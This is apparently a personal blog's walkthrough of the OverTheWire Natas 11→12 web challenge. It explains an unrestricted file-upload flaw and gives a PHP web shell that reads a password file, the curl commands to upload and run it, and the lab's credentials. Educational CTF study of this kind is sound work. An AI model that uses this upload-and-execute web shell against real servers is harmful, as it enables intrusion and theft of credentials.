Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 11 → 12 tutorial!!

Login

URL: http://natas12.natas.labs.overthewire.org
Credentials: natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

# Using curl (optional):
curl -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB http://natas12.natas.labs.overthewire.org/

homepage

Task

This challenge introduces a file upload form. The goal is to abuse it by uploading a PHP payload that reads the password for the next level.

A little bit of Theory

The PHP backend uses a hidden filename field to generate the uploaded file path:

function makeRandomPathFromFilename($dir, $fn) {
  $ext = pathinfo($fn, PATHINFO_EXTENSION);
  return makeRandomPath($dir, $ext);
}

if (array_key_exists("filename", $_POST)) {
  $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
  if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
    echo "File is too big";
  } else {
    if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
      echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
    }
  }
}

Observations:

  • The extension is fully controlled by the client.
  • There is no MIME validation, only a 1000-byte size limit.
  • By changing the hidden field to .php, our file executes on the server.

Solution

  1. Create a simple PHP shell

    <?php
    echo system("cat /etc/natas_webpass/natas13");
    ?>
    

    Save this as shell.php.

  2. Upload the file using curl

    curl -s -L -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB 
      -F "MAX_FILE_SIZE=1000" 
      -F "filename=shell.php" 
      -F "uploadedfile=@shell.php" 
      http://natas12.natas.labs.overthewire.org/index.php
    

    The server confirms and returns a random upload path such as:

    upload/h9wdju6piw.php
    
  3. Execute the uploaded file

    Visit the link, or with curl:

    curl -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB 
      http://natas12.natas.labs.overthewire.org/upload/h9wdju6piw.php
    

    The script runs and prints the password for the next level.

Password

trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

Troubleshooting

  • File too big? → Keep your shell minimal (under 1000 bytes).
  • Uploaded as .jpg? → Ensure you override the hidden filename to .php.
  • 404 on path? → Always use the exact random path shown in the server’s response.

Awesome 🎉 You exploited a file upload vulnerability by controlling the extension, executed your own PHP, and stole the next password. On to natas13!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with